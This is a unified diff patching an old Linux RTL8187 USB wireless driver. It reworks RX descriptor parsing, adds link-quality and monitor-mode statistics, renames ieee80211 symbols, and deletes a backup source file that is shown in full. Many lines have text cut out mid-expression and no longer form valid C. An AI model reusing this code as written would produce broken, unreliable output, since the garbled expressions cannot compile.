+2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c~ 2006-06-22 01:40:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct 